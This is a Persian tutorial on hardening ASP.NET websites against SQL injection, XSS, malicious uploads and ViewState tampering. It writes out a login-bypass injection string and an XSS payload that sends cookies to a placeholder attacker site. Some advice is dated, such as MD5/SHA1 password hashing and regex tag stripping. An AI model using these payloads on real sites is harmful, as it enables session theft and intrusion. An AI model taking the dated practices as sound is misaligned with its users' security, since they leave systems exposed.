موضوع :  روش های افزایش امنیت در Asp.NET
خلاصه مطلب :   در این مقاله به ذکر چند نکته جهت بالابردن امنیت وب سایت شما می پردازم

امنیت در Asp.NET

یکی از مهمترین مسائل در طراحی هر نوع نرم افزار به ویژه نرم افزار های تحت وب امنیت آن است ، امنیت از این جهت از اهمیت بالایی برخوردار است که یک نرم افزار تحت وب یا یک وب سایت در دسترس عموم قرار می گیرد و یک تعامل دو طرفه بین یک وب سایت پویا و کاربر وب سایت برقرار می شود بدین ترتیب کاربران قادرند درخواست هایی را به سرور ارسال نموده و پاسخ آن را دریافت کنند ، ممکن است برخی از این درخواست ها توسط هکر ها صادر شود که میتواند حیات وب سایت شما را به خطر بیاندازد .

در این مقاله به ذکر چند نکته جهت بالابردن امنیت وب سایت شما می پردازم :

  • استفاده از سیستم تشخیص هویت دات نت (Dotnet FormsAuthentication) : سیستم امنیت و تشخیص هویتی که در Asp.NET 1 ارائه شد یک سیستم کامل و قدرتمند جهت تشخیص هویت و مدیریت نقش های کاربر است ، این سیستم پس از چندین سال آزمایش خود را به خوبی پس داده و نقطه ضعفی که آن را نفوذ پذیر نماید در آن دیده نمی شود ، بنابراین به جای روش هایی که برای مدیریت نقش ها خودتان ابداع می کنید و معمولا قابل نفوذ است از این سیستم قدرتمند استفاده کنید .

 

  • تنظیم CustomErrors : توسعه دهندگان Asp.NET به خوبی با این تگ آشنا هستند ، در هنگام بروز یک خطا برای نمایش متن کامل خطا نیاز است که این مقدار برابر Off ست شود ، دقت نمایید که پس از نهایی شدن وب سایت و بارگزاری آن این مقدار دیگر نباید Off باشد بلکه باید به On یا RemoteOnly تغییر یابد چرا که بازدیدکنندگان نباید متن خطاهای شما را ملاحظه کنند .
<customErrors mode="RemoteOnly"></customErrors>

 

  • خاصیت Debug تگ Compilation : دقت نمایید که پس از بارگزاری وب سایت این خاصیت را false نمایید ، این موضوع علاوه بر اینکه بر روی Perfomance سایت شما تاثیر می گذارد میتواند با نمایش دادن متن خطا و بعضا کد های شما راه را برای هک شدن وب سایت شما باز نماید .
<compilation debug="false"></compilation>

 

  • لاگ رویداد ها و مدیریت خطاها : این کار علاوه بر اینکه شما را از اتفاقاتی که در وب سایت شما رخ میدهد مطلع می کند می تواند هشداری باشد جهت جلوگیری از نفوذ هکر ها ، ابتدا مقاله بنده را در این ضمینه با دقت مطالعه نمایید و در صورت بروز خطا در اولین فرصت آن را برطرف کنید . سعی کنید هر چند وقت یکبار یک نگاهی به لاگ رویداد ها هم بیاندازید تا اگر مورد مشکوکی بود آن را پیگیری نمایید . همچنین اگر کنترل پنل هاست شما دارای سیستم لاگ گیری است (مثلا کنترل پنل Plesk) حتما هر هفته یک نگاهی به آن بیاندازید ، تمامی موارد مشکوک در آن هشدار داده خواهد شد .

 

  • اس کیو ال سرور (SQL Server) : اگر از SQL Server استفاده می کنید و قصد بارگزاری دیتابیس را بر روی هاست یا یک سرور اختصاصی دارید به چند نکته زیر دقت کنید :
  1. به User های بانک خود دقت کنید و اطمینان پیدا کنید که Guest User یا کاربر اضافی دیگری داخل آن نباشد ، چرا که کاربران دیگر SQL Server می توانند از این طریق به بانک شما دسترسی داشته باشند
  2. اگر سرور اختصاصی دارید حتما برای کاربر SA یک پسورد مناسب قرار دهید ، همچنین  Event Log مربوط به SQL را مطالعه نمایید تا اگر مورد مشکوکی بود IP آن را Block نمایید .

 

  • جلوگیری از حملات تزریق دستورات اس کیو ال (SQL Injection) :یکی از رایج ترین روش های نفوذ به وب سایت ها و هک کردن آن ها SQL Injection نام دارد ، توسط این روش هکر با وارد کردن جملات SQL در فرم های وب یا QueryString ها Query شما را به نفع خود تغییر خواهد داد .

به عنوان مثال فرض کنید یک سیستم ورود و تشخیص هویت ساخته اید که توسط Query زیر کاربر را تشخیص هویت می کند :

string QUery="select * from TblUsers where username='"+TxtUser.Text+"' And Password='"+TxtPass.Text+"'";

اکنون کافیست هکر در باکس TxtUser کلمه Admin را نوشته و در باکس TxtPass جمله زیر را وارد کند :

' or 1=1

با این روش هکر به سادگی با اکانت Admin به سایت نفوذ خواهد کرد .

پیشنهاد بنده برای جلوگیری کامل از این حملات استفاده از Stored procedure و پاس دادن مقادیر به صورت پارامتریک است ، برخی از برنامه نویسان برای جلوگیری از این حملات دست به فیلتر کردن جملات وارد شده در فرم ها میزنند که از نظر بنده روش درستی نمی باشد .

 

  • جلوگیری از حملات XSS : میتوان گفت که خطرساز ترین حمله به یک وب سایت می باشد ، این روش که مخفف Cross-site Scripting است توسط این روش هکر اسکریپت های سمت کلاینت را به صفحات شما تزریق می نماید و از این طریق اطلاعات مورد نیاز خود را واکشی می کند . این حملات معمولا توسط فرم ها و QueryString ها صورت می گیرد ، به عنوان مثلا شما یک صفحه به نام Search.aspx دارید که پارامتر Keyword را دریافت کرده و اطلاعات را از بانک واکشی می کند ، همچنین مقدار Keyword را نیز در Textbox قرار می دهید (دقیقا مشابه کاری که بنده در صفحه http://forum.how2learnasp.net/search.aspx انجام می دهم) :
  • TxtSearch.Text=Request["Keyword"].ToString();
    

 حال فرض کنید که هکر Url را به صورت زیر تغییر دهد :

http://www.yoursite.com/Search.aspx?keyword=<script>document.location='http://www.Hackersite.com/somescript.aspx?value=' + document.cookie</script>

یا داخل Textbox مقدار زیر را وارد نماید :

<script>alert(document.cookie);</script>

در حالت اول تمام اطلاعات کوکی های شما به سایت هکر ارسال شده و در حالت دوم کوکی ها به صورت Alert Box به هکر نمایش داده می شوند .

در حالت پیشفرض دات نت تدابیری برای جلوگیری از این حملات اندیشیده ، خاصیت ValidateRequest تمام اطلاعات تبادل شده را اعتبار سنجی می نماید و از وارد کردن چنین کلماتی جلوگیری می کند ، در برخی موارد (مثلا نیاز به استفاده از ویرایشگر متن (ادیتور)) مجبور به غیر فعال کردن این خاصیت می شویم ، دقت نمایید که به هیچ وجه این خاصیت را در تگ Page وبکانفیگ off نفرمایید ، اگر هم نیاز به off کردن آن داشتید آن را در CodePage صفحه غیر فعال کنید و سپس اطلاعاتی که داخل فرم شما وارد می شوند را توسط کلاس HTTPUtility.HTMLEncode انکد نمایید همچنین تا جایی که امکان دارد تمامی فیلدها را اعتبار سنجی نمایید .

همچنین میتوانید از تابع زیر جهت تبدیل متونی که دارای تگ هستند به PlainText استفاده کنید :

 

    public static string GetPlainTextFromHtml(string Html)
    {
        return Regex.Replace(Html, "<[^>]*>", string.Empty);
    }

 

  • کنترل FileUpload : یکی از خطر ساز ترین کنترل های Asp.NET این کنترل می باشد دلیل آن هم این است که کاربر می تواند از طریق این کنترل فایل خود را وارد سرور نماید ، اجازه بدهید با یک مثال موضوع را روشن تر کنم ، فرض کنید شما یک وب سایت طراحی کرده اید و در آن یک بخش برای عضویت قرار داده اید . کاربران میتوانند در هنگام عضویت عکس خود را بارگزاری نمایند ، شما عکس ها را در پوشه pics ذخیره می کنید و آن را به کاربران نمایش می دهید .ا کنون کار هکر شروع می شود به سادگی به جای اینکه یک عکس آپلود کند یک صفحه aspx ایجاد کرده و آن را آپلود می نماید ، این صفحه aspx میتواند شامل کد هایی باشد که تمامی اطلاعات Web.Config شما را به او نشان دهد و یا او را به سورس فایل های شما برساند و....

برای جلوگیری از این حمله کافیست پسوند فایل های بارگزاری شده را به وسیله یک  RegularExpression Validation  مشابه زیر بررسی کنید و فقط فایل هایی که عکس هستند را اجازه دهید :

 <asp:RegularExpressionValidator ID="revExtenstions" runat="server" ControlToValidate="File_Img"
  ErrorMessage="فایل های مجاز Jpg , Gif  می باشند" ValidationExpression="^.+(.jpg|.JPG|.gif|.GIF)$"
  ValidationGroup="Reg">*</asp:RegularExpressionValidator>

 

  • ویرایشگر ها (HTML Editor) :  اگر شما هم یکی از کاربران ویرایشگر ها (مانند FckEditor ، HtmlErea , TinyMce , FreeTextBox و...) هستید به امکاناتی که در اختیار کاربر قرار می دهید دقت کنید ، هیچ گاه به اجازه ویرایش سورس Html را به کاربران ندهید ، البته مدیران سایت میتوانند از این امکان استفاده کنند ولی کاربران و بازدیدکنندگان در صورتی که به سورس Html دسترسی داشته باشند قادرند کد هایی را وارد کنند که به سایت شما صدمه بزند ، همچنین در مورد امکانات بارگزاری عکس و فایل و... بازهم به پسوند ها دقت نمایید .

  

  • اعتبار سنجی ViewState ها : تا کنون در مورد ViewState ها صحبت های زیادی کرده ام ، همانطور که مستحضر هستید حالت ماندگاری کنترل های سمت سرور در هنگام Postback شدن صفحه را ViewState برقرار می نماید ، لازم به ذکر است که یک هکر می تواند با تغییر مقادیر ViewState ها به وب سایت شما نفوذ کند . دات نت به صورت پیشفرض برای جلوگیری از این موضوع ViewState ها را رمز نگاری کرده و اعتبار سنجی می کند تا از تغییر نکردن آنها مطمئن شود البته شما میتوانید با false کردن خاصیت EnableViewstateMac در تگ Pages در Web.Config یا CodePage صحفحه آن را غیر فعال کنید ، که به هیچ وجه این کار پیشنهاد نمی شود . به کرار پیش آمده که به دلیل دریافت خطاهای نا معلومی برنامه نویسان به اشتباه این خاصیت را false کرده اند ، پیشهاد بنده این است که آخرین Hotfix های مایکروسافت را بر روی سرور نصب کنید (یا از مدیران هاست بخواهید این کار را انجام دهند) تا خطاهایی که به صورت باگ گزارش شده اند برطرف گردند .

 

  • رمز نگاری اطلاعات (Encryption) : شما میتوانید برای رد بدل کردن اطلاعاتی که مایلید از دید کاربر دور بماند آن ها را رمز نگاری کنید ، الگوریتم هایی مانند Des و Triple Des برای رمز نگاری مناسب هستند (مثلا برای رمز نگاری شماره کارت اعتباری و رمز آن و...)

 

  • هش کردن اطلاعات مهم (Hashing) : شما می توانید اطلاعات مهم مانند رمز عبور. را به وسیله الگوریتم هایی مانند MD5 یا SHA1 و... Hash نمایید ، دقت کنید که اطلاعات Hash شده قابل بازگشت نیستند

 

  • به رمز درآوردن رشته اتصال (Encrypt Connectionstring) : به رمز درآوردن رشته اتصال که در وب کانفیگ قرار گرفته از واجبات مسائل امنیتی نیست دلیل آن هم این است که فقط کسانی به این فایل دسترسی دارند که به Ftp اکانت شما دسترسی دارند اما اگر از نفوذ هکرها به Ftp (مثلا از روش FileUpload) نگران هستید یا بانک اطلاعاتی شما در سرور دیگری قرار دارد میتوانید این کار را انجام دهید .

 

  • تصاویر امنیتی (Verification Images) : هدف اصلی استفاده از تصاویر امنیتی جلوگیری از حجوم ربات ها است ، این تصاویر در فرم های Login ، فرم های نظرسنجی ، فرم های نظردهی (مثلا در مورد وبلاگ) و ... بسیار کاربرد دارند ، یک ربات می تواند به سادگی فرم ها را پر کرده و سمت سرور پست نماید ، همچنین قادر است داخل وب سایت لاگین کرده و به جمع آوری اطلاعات بپردازد یا با کاربران سایت ارتباط برقرار نماید (بنده شخصا چندین ربات برای سایت های مختلف از قبل Yahoo 360 , سایت Cloob و سایت های اطلاع رسانی و... ساخته ام که به راحتی اطلاعات را از آن ها استخراج نموده و با کاربران آنها ارتباط برقرار کرده است) ، بنده در این مقاله نحوه ساختن تصاویر امنیتی را توضیح داده ام .